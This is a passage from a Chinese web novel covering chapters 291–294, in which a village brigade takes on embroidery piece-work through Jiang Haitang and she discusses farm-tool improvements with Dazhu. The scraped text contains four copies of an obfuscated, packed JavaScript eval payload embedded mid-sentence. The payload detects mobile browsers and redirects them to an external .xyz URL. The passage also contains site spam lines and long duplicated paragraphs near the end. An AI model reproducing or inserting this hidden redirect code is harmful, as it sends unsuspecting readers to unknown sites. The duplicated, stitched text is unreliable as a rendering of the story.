赵大山一直坐在旁边默默地抽烟听到这里才说道:“陆厂长说得对嘞是得让他们同意不过他们肯定也能同意这可是对清水沟大有好处的事儿。” 这活儿要是成了可比挖高岭土要赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169866|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱得多大队长不可能不同意。 “那就这么定了。”陆良辰拍板。“就拜托大山叔辛苦跑一趟了。” “这有啥辛苦的我明天下午就回去为了大伙儿的事别说坐车就是走路也得回去。”赵大山憨厚地笑着说。 事情初步商定大家心里都有了着落。 蔡婶子又陪着姜海棠说了会儿闲话就催着她早点休息。 第二天赵大山等到陆良辰的商量结果之后立即返回到了清水沟大队。 他一路颠簸天色将晚的时候才回到清水沟大队。 他没顾上回家直奔大队长赵志坚家里。 赵志坚还没回家他又冲到大队部去。 大队部赵志坚等几个大队干部们正在商量事儿见赵大山风尘仆仆地进来诧异得很。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他们知道赵大山这两天是去了纺织厂见姜海棠的。 “大山?你不是送你媳妇去城里照顾海棠了?这是回来了?这么着急是不是海棠出什么事了?” 赵志坚急切地站起来,问赵大山。 姜海棠可是他们大队的希望,千万不能有任何事。 “大队长,是好事!大好事!海棠有个天大的好事要带着咱们大队干呢!” 赵志坚几个人听到赵大山说这个话,一个个都欢喜了起来,甚至,他们的眼睛都亮了起来。 “我就知道,海棠是咱们大队的福星,大山,你说说,具体咋回事?” 赵大山把姜海棠的计划详详细细说了一遍,特别强调了是按件计酬,绣一个五分钱,熟手一天能挣一块多。 赵志坚在屋里来回踱步,激动地搓手:“这可是给妇女们找的好门路啊!不耽误做饭带孩子,还能挣活钱!” “你们几个有什么想法,觉得这事儿能成不?” 大队长忽然想到,这事儿也不能他一个人说了算,得和其他大队干部商量。 其他几个干部被突如其来的好消息震惊了,一时之间没有反应过来,听到赵志坚问他们,这才忙表态。 自然,这件事他们差不多都是同意的,不过,觉得还是应该慎重一点。 记分员王有才听完这些,眉头却皱紧了:“大队长,这确实是好事儿,可是,要是被外面人知道了,这……这不成了搞资本主义了吗?万一上头给咱们找麻烦咋办?” “怎么能是资本主义呢?”赵志坚心里基本上是将这件事定下来了,他立即说道:“这是集体副业!就跟其他大队养蜂、编筐一样,是正经的社会主义集体经济!” 左右,他一口咬定就对了。 赵有才摸着下巴思索:“话是这么说……可绣花这玩意儿,以前可没搞过,咱们大队里这些婆娘们,粗手粗脚的,真的能干这事儿?” “这事儿,我问过我婆娘了,她说,大队里好些妇女同志们都会绣花,他们女人的事儿,我们不了解,他们自己肯定清楚。” “等回去了,你们都和自家婆娘问问,咱们大队哪些人会绣花,凑出十来八个会绣花的,应该问题不大。” 听大队长这么说,众人知道,大队长是动心了,原本想反驳的也都歇了心思。 第292章 赵志坚的反思 事情定下,又商量了一下具体的章程,大家一致认为,最好是请大队长去一趟城里,和纺织厂那边详细商量一下。 “那最好不过了。大队长,我就是传个话,具体章程得您去定。 赵大山的话说得客气,可是连同大队长在内,大家都知道,这事,要是没有赵大山两口子,还真是干不成。 整个大队,姜海棠和赵大山两口子关系最好。 姜海棠能念着大队里的香火情,大部分都是因为早些年,赵大山和蔡婶子两口子对姜海棠的照顾。 “大山啊,谢谢你们两口子,要是没有你们两口子,海棠这娃,未必能这样念着咱们大队。赵志坚对赵大山诚挚地说道。 “大队长,您可别这么说,都是海棠这孩子心善,可不是我的功劳,我就是传个话,跑个腿,啥都没干。 赵志坚是个雷厉风行的人,既然决定了要干,就一刻也不耽误。 第二天天还没亮,他就揣着大队的介绍信和干粮,搭上头班车进了城。 到了纺织厂姜海棠家时,已经是下午时分。 姜海棠不在家里,蔡婶子给说了,姜海棠去上班了。赵志坚甚至都顾不得歇一歇,直接找到姜海棠办公室里去了。 “大队长?姜海棠看到大队长的时候,还挺意外的。 “这不是得了消息,我立即就来了,没打扰你上班吧?海棠! 人虽然来了,可是赵志坚这时候突然就有些不自信了。 “没事,咱们回家去谈。姜海棠看看时间,距离下班时间还有一会儿,索性请了假,带着赵志坚回到家里。 蔡婶子正在做饭,闻声也从厨房出来。 赵志坚打量着整洁的小院和窗明几净的屋子,心里感慨万千。 当年那个在李家的瘦弱的小丫头,如今真是出息了,不仅自己在城里站稳脚跟,还能拉拔乡亲们。 是他对不起这丫头,当初想着,这孩子毕竟不是自己大队里的,难免管得少了些。 赵志坚顾不上其他,急切地问起绣活的事。 姜海棠把自己的设想又说了一遍,两个人正说话,陆良辰回来了。 大队长客客气气和他商量起来,陆良辰对大队长虽然说不上亲近,但也没有刻意为难,只是补充了一些关于合同和管理的建议。 “最重要的是质量把关。姜海棠强调,“外贸订单要求高,绣坏一个不仅赚不到钱,还得赔料子钱,这个得事先说清楚。 赵志 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 坚连连点头:“这个自然。我已经想好了,先找五个手艺好的试试,要是成了再扩大。人选我都初步定了,都是咱大队公认的巧手。 姜海棠和蔡婶子对视一眼,笑道:“蔡婶子推荐王五家的,说她人公道,手艺也好。 “王五家的?赵志坚想了想,“确实是个妥当人。她绣的牡丹花能引来真蝴蝶呢!就这么定了!我回去就召集她们开会。 事情谈得顺利,赵志坚心里一块石头落了地,这时候,才想起来,中午就没吃饭,这会儿肚子都咕咕叫起来了。 蔡婶子听到大队长肚子响了,但她不是主人,并没有开口说话。 好哦在,姜海棠也听到了,招呼大队长一起吃饭。 晚饭是蔡婶子蒸的二合面馒头,炒了个土豆丝,还有一道鸡蛋汤,姜海棠额外有一碗鸡汤。 大队长饿了,吃得格外香甜。 等吃完了,才想起来,自己只顾着冒冒失失上门,连一份礼物都没带,当下觉得自己做得不对,也理解了赵老祖为啥总说他不光为人怯懦,还考虑事情不周全了。 他想着,等回去之后,还是要和赵老祖等人多多请教一下才行。 他有一种预感,以后,这种事情会越来越多,他需要面临的场面也会越来越大,像他现在这样可不行。 天色已晚,赵志坚只能在招待所里住了一个晚上。 第二日一大早,赵志坚就来找姜海棠辞行。 临走时,姜海棠把厂里提供的绣样和丝线交给赵志坚:“志坚叔,这些先拿去让大伙儿试绣。咱们这边先报项目走程序,您那边负责让大家试绣,等修好了再劳烦您把样品带过来,要是样品验收没问题,咱们就签合同。 赵志坚像捧着宝贝似的接过来:“你放心,一准儿办好! 蔡婶子拿着一份已经绣好的样子给大队长说道:“大队长,这是我试着绣的一份,您可以带回去给他们参考参考。 赵志坚连声道谢,这才急匆匆地返回。 清水沟大队。 消息不知怎么走漏了风声,不到半天,整个清水沟大队都在议论这件事。 妇女们三个一群五个一伙地聚在一起,兴奋又忐忑地猜测着。 “听说了吗?海棠要给咱们找活儿干,在家里就能挣钱! “真的假的?世上哪有这么好的事? “咱们当初对她可不算好,她真能记得咱们? “海棠那是干大事的,能和咱们计较?我听说是绣花,一个给五分钱 听说看这本书的人都是很幸运的,分享后你的运气会更棒 呢!” “哎哟,我的老天爷,那可比咱们种地要好。” “你会绣吗?我可好些年没拿针了。” “咋不会?小时候谁没学过绣花?就是手生了呗,回家练一练,应该能行。” “我咋觉得这事儿不靠谱,哪有这么好的事儿?要是真有这种好事儿,城里人还不自己抢着干了?” “城里人都是要干大事的,我们这一毛五分的,他们肯定看不上,我听说,城里人一个月咋都能拿三十多块钱呢。” “我听说,大柱在城里,一个月也能挣三十块钱嘞。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169867|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人讨论的最热烈的时候,看到了风尘仆仆从城里回来的赵志坚。 妇女人立即围过去,要找赵志坚问情况。 赵志坚顾不得回答他们,立刻敲钟召集社员开会。 打谷场上黑压压坐满了人,听说有大好事,连平日里不出门的老太太都让儿孙搀着来了。 赵志坚把绣活的事详细说了一遍,最后道:“这是海棠给咱们争取的机会!咱们清水沟的妇女的手艺要换成活钱了!但是有一样,谁要是糊弄,绣得不好,可别怪我赵志坚不讲情面!” 妇女们激动地交头接耳。 听大队长说的,这活儿好像不太难。 要是每天能绣出十来个,就是五毛钱,一个月下来也有十几块呢,可不比挣工分强多了? 王五家的正在和几个妇女说话,讨论着好久没有拿针线,还能不能干活的事儿,就被旁边一个妇女拉了一把:“五嫂子,大队长说让你当咱们的头儿了。” 王五家的刚才根本没听到大队长的话,愣住:“啥头儿?” “大队长刚才说呢,说经过了解,你的绣花技术最高,初步决定,让你管着我们第一批这些锈活。” 王五家的虽然惊讶,也没敢说话,谁让她刚才都没听见大队长说什么呢? 不过,她心里已经盘算开了。 家里劳动力少,孩子多,日子过得紧巴巴。 要是真能在家挣点钱,可是解了大难了。 王五家的被叫到台上的时候,脸涨得通红,手都不知道往哪放。 赵志坚大声道:“经过研究,暂时由王五家的负责收活发活、检查质量。想干的,等下找王五家的登记报名。” 人群“嗡”的一声炸开了锅,妇女们争先恐后地围住王五家的。 这个说“我绣花最好”,那个说“我手最快”,场面一时热闹非凡。 赵志坚看着这景象,忽然生出感慨,多少年了,清水沟大队头一回这么有奔头。 很快,报名的人就基本确定了下来。 赵志坚郑重地将材料交给王五家的,王五家的给每人发了一份绣样和丝线:“三天后交活儿!绣得好的继续干,绣不好的就别想了!” 王五家的也叮嘱道:“仔细着绣,这可是咱们清水沟的脸面!” 这些妇女们没有不答应的,像捧着金元宝似的,小心翼翼地回家了。 其实,绣好一份图样只需要半个小时的时间,之所以给大家三天时间,就是因为知道这些妇女们许久不绣花,怕绣坏了,让她们先熟悉一下。 王五家的更是一刻不敢耽误,连夜就点灯熬油地开始绣。 她男人嘟囔:“至于吗?大晚上得费灯油。” 王五家的头也不抬:“你懂啥!这是咱家翻身的机会!绣好了,一个月能挣十多块呢!够娃上学的学费了!” 她男人一听,立马不吭声了,还特意把灯芯挑亮了些。 第293章 大柱的想法 三天后的早晨,十个妇女准时来到大队部交活儿。 王五家的一个个仔细检查,有的针脚细密均匀,有的却歪歪扭扭。 她硬起心肠,把不合格的挑出来退还:“纺织厂那里说了,质量不过关的不能要。” “五嫂子,我们都是乡里乡亲的,你就放宽一点点吧,也不是赚你的钱。” 被退回的媳妇脸上挂不住,但想到五分钱一个的工钱,还是和王五媳妇掰扯。 “这不是我不通融,咱们这事儿,可还没定下呢,要是质量不过关,被退回来,这事儿可就黄了,翠兰啊,你说说,我们总不能因为你这几个绣品,坏了名声吧?” 周围的人一听,这事儿可能会黄,哪里还能顾得上情意,立即帮着王五家的劝李翠兰。 “翠兰,这活儿要是定下了,就不是一天两天的,要不,你先回去练练?” “就是,要是绣品不过关,耽误了大家伙儿赚钱,你也不好意思不是。” 见到这么多人支持王五家的,李翠兰心里就算再怎么不满意也没办法,只能怏怏不乐的回家去了。 王五家的把合格的绣样整理好,郑重地交给赵志坚。 赵志坚一刻不敢耽误,立即进城送到姜海棠手里。 姜海棠想自己检查,蔡婶子主动帮忙。 两个人一个个地仔细查看,绣样针法朴实,做工细致,质量确实十分好。 她满意地点头:“太好了!我明天就拿过去给检验科看看。” 蔡婶子看着姜海棠满意,知道这事儿这样就差不多了,当下脸上的欢喜更多了。 赵志坚也总算放心了。 他将随身带着的一个布袋子放在桌上。 “我家你婶子说,你现在需要营养,这是家里自己的小米,你熬粥补补。” 姜海棠愣了一下,说道:“大队长,不用这样,只要绣品符合条件,我们就收。” 大队长知道姜海棠这是误会了,当下赧然地说:“海棠,你误会了。我没有这个意思,就是,就是觉得,你惦记着咱们大队的人,咱们大队也不能太不懂感恩,这些就是我们的一点心意……” 听大队长如此说,姜海棠也没有继续推辞,而是收下了这袋小米。 第二天,姜海棠把样品拿到检验科,请检验科检查质量。 检验科科长拿起一个仔细看:“哟,这手工绣得真不错!比机器绣得有灵气多了。” 生产科长正好也在,有些顾虑:“手工绣速度跟得上吗?这批订 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 单要得急,加上前期我们已经生产准备发出去的这些货,需求量不小。” “应该没问题。”姜海棠把清水沟大队的情况介绍了一下,“她们随时都可以做,只要给钱,不会在乎上班时间长一些。” 经过讨论,厂里决定先下一批小订单试试,一千个绣标,一周内交货。 消息传回清水沟,整个大队都沸腾了。 五百个!一个五分钱,就是五十块块钱!这够买多少斤盐、多少尺布啊! 虽然要十来个妇女一起做,大家一人也就几块钱,但要知道,年终工分算下来,除了分到的粮食,一家子也才几块钱,有些人甚至是倒欠户。 赵志坚立即组织通过王五家的测试的妇女们领活计。 其他妇女们之前还不觉得有什么,这会儿知道能挣钱了,许多人就开始羡慕了起来。 甚至,那几家的妇女为了赶工,都统一请假,好在现在春耕还没开始,需要上工的人不多,有人请假也不要紧。 至于其他家里的女人们,也开始暗暗学习刺绣,就为了能赚钱,有小姑娘的人家,原本只是学习简单的针线,这会儿也可是学起绣花。 王五家的更忙了,既要自家绣,还要检查别人交来的活计。 她铁面无私,有一个线头歪了都要返工,姐妹们私下里叫她“铁娘子”,但心里都服气,要不是她严格,哪能保证长久有活儿干? 一千个绣标提前一天交到了厂里。 验收合格率百分之百!厂里当即又下了三千个的订单。 清水沟大队开始了新一轮的刺绣热。 听到又是三千个订单,想着这十来个妇女一个人能赚到二三十块钱,大队里的人更加羡慕了。 再说姜海棠怀孕满三个月,孕吐渐渐减轻,精神也好了许多。 蔡婶子这才放心些,她闲暇的时候,也开始着手绣一些绣标。 姜海棠原本想着让她没事做的时候就休息休息,但又想到,蔡婶子也不是能闲下来的人,因此最终也没有劝蔡婶子。 这段时间,因为蔡婶子在城里,大柱也经常过来。 大柱现在跟着顾昀笛学习,已经学得很不错了,因为知识储备量不足,休息时间都用来看书学习了,因此,忙得不得了。 蔡婶子看着儿子比以前还清瘦了一些很是心疼,但是知道儿子努力学习,也是为了将来有更好的生活,还是十分赞成儿子认真努力的。 姜海棠因为感谢蔡婶子照顾自己精细,每次大柱来的时候,会格外准备些 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 肉和鸡蛋让蔡婶子做给大柱吃。 大柱不是不感恩的人每次来了也会带着点东西过来。 一来二去两家的关系越来越好了起来。 让大柱特别喜欢来姜海棠家的原因还有一个姜海棠能给他将许多关于机械方面的知识。 姜海棠只要有时间都会和大柱聊一聊有些大柱掌握不了的知识因为姜海棠的点拨很快就弄明白了。 这日大柱来的时候从洗得发白的绿帆布挎包里掏出一个用旧账本翻面钉成的笔记本眉头紧锁地翻看着。 上面用铅笔密密麻麻画着一些简易的农具结构图旁边标注了许多问号和计算到一半的公式。 姜海棠端着一杯热水走过来看到大柱专注又苦恼的样子温和地问道:“大柱琢磨啥呢?碰上难啃的骨头了?” 大柱抬起头黝黑的脸上带着庄稼人特有的实在和困惑。 “海棠姐就是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169868|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己瞎琢磨点东西 “你没请教一下云老师?”姜海棠问。 姜海棠所说的云老师就是顾昀笛因为顾昀笛的身份比较特殊在机械厂的时候一直都是用的化名。 大柱并不知道顾昀笛的**但对顾昀笛却十分尊敬。 “老师说这个方面他也不太清楚。” 姜海棠来了兴趣顾昀笛有多么厉害她是知道的能让顾昀笛觉得不清楚大柱这小子到底想做什么? “哦你小子想弄什么?” 大柱很是苦恼地说道:“我就想着咱队里那头老黄牛越来越不经使春耕秋播的时候人畜都累得够呛。能不能弄个啥东西能省点人力畜力哪怕能帮着拉拉耙、轧轧场也行啊。” 他指着一页画着简易牵引结构的草图“可一想深了这铁疙瘩怎么动起来?用柴油机太金贵队里买不起也烧不起油。用电机更是没影儿的事这不就死胡同了。” 姜海棠没想到大柱竟然想到了农业机械方面的问题。 这好像确实超出了顾昀笛的知识范畴顾昀笛是纺织机械方面的专家但是本人没有研究过农业机械甚至都没有当过农民确实很难解决大柱提出的问题。 姜海棠却来了兴趣纺织机械固然重要但农业机械的发展也很重要大柱这个方向确实不错。 只是她对这方面也不了解但机械原理却是有雷同的加上她当了多年农民对于后世一些机械也有了解或许能够给大柱一个思路。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 心中想着,她拉过一把椅子坐下,接过那笔记本仔细看。 草图很粗糙,但意图是明确的,追求的是实用和低成本。 这样的机械,确实很实用。 “你这个思路是对的,得先从实际可能出发。”姜海棠沉吟道,手指点着动力部分,“柴油机确实不现实。你看,能不能在‘借力’和‘省力’上做文章,把现有的力气更高效地用出来。” 大柱有点没明白:“借力?省力?海棠姐,你的意思是……” “比如,”姜海棠整理着思路,“现在用的老式步犁,人得费很大力气压着扶手才能保证犁的深度。能不能在犁铧和扶手之间加个简单的调节杆或者小轮子,让扶犁的人主要控制方向,省下压犁的力气?” “或者,轧场用的石磙子,现在全靠人拉或者牲口拖,能不能做个框子架着它,用一组简单的齿轮或者皮带轮,人摇着转,虽然也费劲,但是不是比干拉省力,还能更均匀?” 大柱的眼睛慢慢亮了起来,他猛地一拍大腿。 “对啊!我怎么光想着让它自己跑呢!先从让现有的家伙什更好使开始!海棠姐你这点子太实在了!” 两人的讨论立刻讨论起来。 姜海棠虽然对农业技术不熟悉,但是凭借多年种地使用机械的经验,加上对机械结构的熟悉和了解,提出一些改良想法。 大柱茅塞洞开,连连拍手。 “加调节杆这个行!”大柱比划着,想到了一连串的好点子,“用废拖拉机上的旧转向连杆……” 第294章 高端路子 “轧场的架子,不一定用齿轮,三角皮带和几个木轮子就能凑合着把摇把的力传到大磙子上,就是效率低点。”姜海棠用笔在纸上画了个简易的传动示意。 “效率低点怕啥!难道还能比现在用的效率低?”大柱兴奋地说,“何况还能省力!皮带轮好弄,废机器上都能拆!海棠姐,你这脑子真是活!” 他们又从如何改良锄头、镰刀的省力手柄,谈到能不能做个简单的手推式播种器,代替完全靠手撒。 每一个想法都紧紧围绕着“土法上马、因陋就简、实用第一”的原则,没有任何超越当时物资和技术条件的天马行空。 蔡婶子进来给两人的搪瓷缸里添热水,看到他们对着几张画满草图的纸说得热火朝天,说的都是地里的事儿,脸上笑盈盈的,觉得这场景比什么都好。 讨论持续了近两个小时。 大柱的本子上多了不少虽然粗糙但更具操作性的简图和一些关键节点的备注。 他心里的迷茫散去了大半。 “你还可以进一步尝试,如果能弄出来更好的机械,对你在机械厂立足十分有好处,**厂长那个人,惜才如命,说不定能给你个工程师当当。”姜海棠笑着说道。 大柱立即摆手:“我能当个工人就很好了,现在工资也不错,比在咱们清水沟种地强多了。” “大柱,你是有天赋的,好好弄,将来肯定有一番成就。云老师是真正的人才,你跟着好好学,对你将来有好处。” 虽然大柱不明白姜海棠说的这番话是什么意思,但海棠姐既然说了,那肯定是有原因的。 “我知道,海棠姐,我把老师当成师父一样的。” 姜海棠倒是没想过,大柱会说出把顾昀笛当成师父对待这样的话。 “这我就放心了。” 姜海棠看着大柱兴致勃勃的表情,继续鼓励道:“大柱,不要害怕失败,大胆试,一次不成两次,两次不成三次。需要啥理论上的支持,或者画图计算,随时来找我或者云老师都行,你这方面还需要加强,平日里要多看书多学习。” 大柱用力点点头,挎上帆布包,脚步生风地走了。 蔡婶子喊了两声,只得到了一句回答。 “妈,我抓紧回厂子里去了,改天再来看您。” 看着儿子远去的背影,蔡婶子埋怨道:“这个臭小子,哪里是来看我的,我看,他是来找你探讨机械的……” 话说到这里,蔡婶子忽然拍拍脑袋说道:“这可不行,我得给大柱这个臭小 子说说,不能总打扰你,你现在可是双身子,得好好养着。” 姜海棠听着,忍不住笑了说:“婶子,不至于,就是随便说说话,累不到我,再说了,大柱这是做利国利民的大好事,我能帮点忙是我的荣幸。” 农业机械的改良,对于农业生产有极其重要的意义,她一直以来都忽略了这方面的研究,或许,现在也可以尝试看能不能研究出点儿成果。 当天晚上,姜海棠再次进入夜梦空间,她果然在书房里找到了关于农业机械方面的书籍。 姜海棠十分欣喜,之前她能看到的,大部分都是关于纺织机械和纺织学方面的内容,这还是第一次翻到关于农业机械方面的书籍。 当下,姜海棠如饥似渴地开始学习农业机械方面的知识。 与此同时,清水沟的妇女们也开始走向另外一条不同的路。 日子在她们绣花针的起落和知识的汲取中飞快流逝。 妇女们用灵巧的双手,如期完成了三千个绣标的订单。 当拿到钱的时候,每个妇女都是十分高兴的。 厂里又给他们下了一批订单,这一次不是纺织厂下的订单,而是服装厂的订单,服装厂在看到纺织厂这边给羊毛衫加了标之后,觉得应该给自己家的衣服也加标。 他们知道是姜海棠联系的这件事后,直接找到了姜海棠,姜海棠正在愁纺织厂需要的绣标太少,服装厂就找上门了,姜海棠自然是将给给她们拉下了这个单子。 只要清水沟的妇女们能够良好地完成服装厂下的任务,以后,估计就不会没有活干了,毕竟服装厂和纺织厂还不太一样,他们有很多零碎的活计可以外包。 果然,和姜海棠想象的一样,这一批任务清水沟村的妇女们完成得非常好,因为她们的绣标质量稳定优异,服装厂又将一部分更复杂、工价也稍高一点的绣花活儿也交给了她们。 “铁娘子”王五家的得到这个消息的时候,非常兴奋,对于妇女们的要求也更加严格了。 在赵志坚的支持下,王五家的俨然成了大队里的“技术总监”兼“质检主任”。 她不仅严格把关,还无私地指点那些后来加入、手艺稍欠的姐妹们,整个大队的学习和劳作氛围空前高涨。 这些额外的收入,像一股活水,悄然改变着许多家庭的境况,饭桌上能多见点油腥,愁眉苦脸的大人也少了些。 生活似乎都有了奔头。 大队长对搞副业十分有兴趣,甚至腾出了一个废旧库房进行整修之后,给妇女 们当做厂房,免得他们每天把绣花带回家弄脏了不好交工。 而随着天气逐渐暖和起来,姜海棠的肚子渐渐显怀,她感觉这样很舒坦。 她每天除了上班绘制图纸,就是在蔡婶子的陪同下,在厂里遛弯。 这日,大柱又来看望母亲和姜海棠。 正好两个人遛弯刚回来,知道大柱还没有吃饭,姜海棠便让蔡婶子给大柱做点吃的,自己则和大柱继续讨论农业机械。 这段时间,姜海棠看了不少关于农业机械发展的书籍之后,提出的一些概念和之前大不一样,对大柱的启发就更多了。 吃过饭后,大柱继续和姜海棠讨论。 蔡婶子实在听不懂两个人说的这些,便开始专注地做针线活。 蔡婶子除了给姜海棠的孩子准备小衣服之外,就是参与到清水沟的绣标工作中去。 反正绣好了都要送到城里,蔡婶子便要求给自己留下一部分材料。 蔡婶子绣花又快又好,何况是这样简单的绣商标。 她一个月除了照顾姜海棠,也能赚二十几块钱,加上姜海棠每个月管吃管住还要给她十五块,蔡婶子的收入已经超过了儿子大柱。 不过,蔡婶子这个人,总觉得自己占便宜了,因此,经常还想办法贴补家里。 姜海棠劝了好几次,都没能劝住,也就不劝了。 等姜海棠和大柱两个人说完,才看到蔡婶子已经绣好了一张手帕。 这个手帕是纺织厂要给外商送礼用的,要求极高,因此只给了几个手艺特别好的妇女做。 手帕上面的喜鹊登梅图案已经初具雏形,栩栩如生。 姜海棠看着,忍不住赞叹:“蔡婶,您这手艺,比样品还要精细好多呢!” 蔡婶子抬起头,慈爱地笑了:“老了,眼睛不如年轻时好使了,也就这点爱好还能拿得出手。倒是她们年轻人,手快,学得也快。海棠啊,王五家的来,说起大队里的女人们要感谢你。” “感谢不感谢的,有什么要紧?只要大家伙儿日子过得好,我也就安心了。” “您是个心善的,王五家的做事是个有分寸的,那些早些时候,欺负过你的人,王五家的一个都没让干活儿。” 这些话蔡婶子还是第一次对姜海棠说。 姜海棠听了也很意外,当初,她其实并没有想过这么多。 这辈子虽然发生了一些事,但上辈子最难的几年,大队里的好些女人们还是帮过她的。 清水沟大队确实有坏人,但也有 不少的好人,只是在条件艰苦的时候,每个人都有取舍罢了。 “下次王五家的来了,我得感谢她。”姜海棠也不是善人,那些得罪了她的,她也没想过扶持。 “不用感谢,这原本就是大队里应该想到的,要是让得罪了你的人因为你的关系赚钱,你也不用再顾念这些年的情分了。”陆良辰正好进来,因听到了她们的对话,插嘴说道。 姜海棠看到陆良辰,面上都是笑容。 “你说得对,今天开了一天会?” 陆良辰点头。 “今天开会的时候,正好和服装厂的谢厂长说起,他上次外出考察,发现华国的刺绣在工艺品商店能价格不低,要是蔡婶子这手艺能放到工艺品店里去,会更赚钱。” 这句话像一颗投入平静湖面的石子,在姜海棠心里漾开了圈圈涟漪。 她猛地一怔,是啊,一直以来,她们对接的都是纺织厂,做的是批量生产的附加工序,单价低,靠的是走量。 实际上,清水沟有好几个手艺非常不错的婶子和嫂子能绣出非常具有艺术性的手工绣品,只用来接这种批量生产的绣标有点浪费。 她拿起蔡婶子绣了一半的手帕,仔细端详。 针脚细腻到几乎看不见痕迹,色彩过渡自然和谐,那只喜鹊的眼神活灵活现,充满了灵韵和温度。 “良辰,谢厂长真的是这么说的?”姜海棠眼中闪烁着兴奋的光芒。 陆良辰原本是随口一说,看到姜海棠双眼闪光,立即意识到,姜海棠这是又想到了好点子。 “你又想到了什么?”陆良辰戳着姜海棠的脑门子说道。 姜海棠说道:“只有走出自己的路子,才能赚到钱,比如外贸商店、友谊商店,或者专门接待外宾的宾馆工艺品柜台!” 蔡婶子说道:“哎呦,我们就是些种庄稼的,那手艺还能让外国人看上?” 不少的好人,只是在条件艰苦的时候,每个人都有取舍罢了。 “下次王五家的来了,我得感谢她。”姜海棠也不是善人,那些得罪了她的,她也没想过扶持。 “不用感谢,这原本就是大队里应该想到的,要是让得罪了你的人因为你的关系赚钱,你也不用再顾念这些年的情分了。”陆良辰正好进来,因听到了她们的对话,插嘴说道。 姜海棠看到陆良辰,面上都是笑容。 “你说得对,今天开了一天会?” 陆良辰点头。 “今天开会的时候,正好和服装厂的谢厂长说起,他上次外出考察,发现华国的刺绣在工艺品商店能价格不低,要是蔡婶子这手艺能放到工艺品店里去,会更赚钱。” 这句话像一颗投入平静湖面的石子,在姜海棠心里漾开了圈圈涟漪。 她猛地一怔,是啊,一直以来,她们对接的都是纺织厂,做的是批量生产的附加工序,单价低,靠的是走量。 实际上,清水沟有好几个手艺非常不错的婶子和嫂子能绣出非常具有艺术性的手工绣品,只用来接这种批量生产的绣标有点浪费。 她拿起蔡婶子绣了一半的手帕,仔细端详。 针脚细腻到几乎看不见痕迹,色彩过渡自然和谐,那只喜鹊的眼神活灵活现,充满了灵韵和温度。 “良辰,谢厂长真的是这么说的?”姜海棠眼中闪烁着兴奋的光芒。 陆良辰原本是随口一说,看到姜海棠双眼闪光,立即意识到,姜海棠这是又想到了好点子。 “你又想到了什么?”陆良辰戳着姜海棠的脑门子说道。 姜海棠说道:“只有走出自己的路子,才能赚到钱,比如外贸商店、友谊商店,或者专门接待外宾的宾馆工艺品柜台!” 蔡婶子说道:“哎呦,我们就是些种庄稼的,那手艺还能让外国人看上?” 不少的好人,只是在条件艰苦的时候,每个人都有取舍罢了。 “下次王五家的来了,我得感谢她。”姜海棠也不是善人,那些得罪了她的,她也没想过扶持。 “不用感谢,这原本就是大队里应该想到的,要是让得罪了你的人因为你的关系赚钱,你也不用再顾念这些年的情分了。”陆良辰正好进来,因听到了她们的对话,插嘴说道。 姜海棠看到陆良辰,面上都是笑容。 “你说得对,今天开了一天会?” 陆良辰点头。 “今天开会的时候,正好和服装厂的谢厂长说起,他上次外出考察,发现华国的刺绣在工艺品商店能价格不低,要是蔡婶子这手艺能放到工艺品店里去,会更赚钱。” 这句话像一颗投入平静湖面的石子,在姜海棠心里漾开了圈圈涟漪。 她猛地一怔,是啊,一直以来,她们对接的都是纺织厂,做的是批量生产的附加工序,单价低,靠的是走量。 实际上,清水沟有好几个手艺非常不错的婶子和嫂子能绣出非常具有艺术性的手工绣品,只用来接这种批量生产的绣标有点浪费。 她拿起蔡婶子绣了一半的手帕,仔细端详。 针脚细腻到几乎看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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针脚细腻到几乎看不见痕迹,色彩过渡自然和谐,那只喜鹊的眼神活灵活现,充满了灵韵和温度。 “良辰,谢厂长真的是这么说的?”姜海棠眼中闪烁着兴奋的光芒。 陆良辰原本是随口一说,看到姜海棠双眼闪光,立即意识到,姜海棠这是又想到了好点子。 “你又想到了什么?”陆良辰戳着姜海棠的脑门子说道。 姜海棠说道:“只有走出自己的路子,才能赚到钱,比如外贸商店、友谊商店,或者专门接待外宾的宾馆工艺品柜台!” 